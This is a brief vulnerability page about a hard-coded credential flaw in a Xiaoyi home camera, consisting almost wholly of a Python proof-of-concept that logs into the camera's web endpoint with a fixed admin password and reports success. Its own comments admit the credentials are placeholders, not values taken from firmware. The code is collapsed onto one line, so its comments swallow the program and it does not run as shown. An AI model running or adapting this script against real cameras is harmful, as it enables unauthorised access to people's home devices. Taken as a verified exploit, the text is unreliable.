CVE-2026-4475 小蚁家用摄像机硬编码凭证漏洞

import requests # Target configuration target_ip = "192.168.1.100" # Replace with the actual IP of the camera url = f"http://{target_ip}/home/web/ipc" # Hard-coded credentials extracted from firmware # Note: These are placeholders based on the vulnerability description. # Actual credentials would be extracted from the specific firmware version. HARDCODED_AUTH = ('admin', '12345678') def check_vulnerability(): try: print(f"[*] Attempting to connect to {url}...") # Sending request with hard-coded credentials response = requests.get(url, auth=HARDCODED_AUTH, timeout=10) if response.status_code == 200: print("[+] Vulnerability exploited successfully!") print("[+] Hard-coded credentials accepted.") print(f"[+] Response body: {response.text[:200]}") elif response.status_code == 401 or response.status_code == 403: print("[-] Authentication failed. Credentials might be incorrect or patched.") else: print(f"[?] Received unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": check_vulnerability()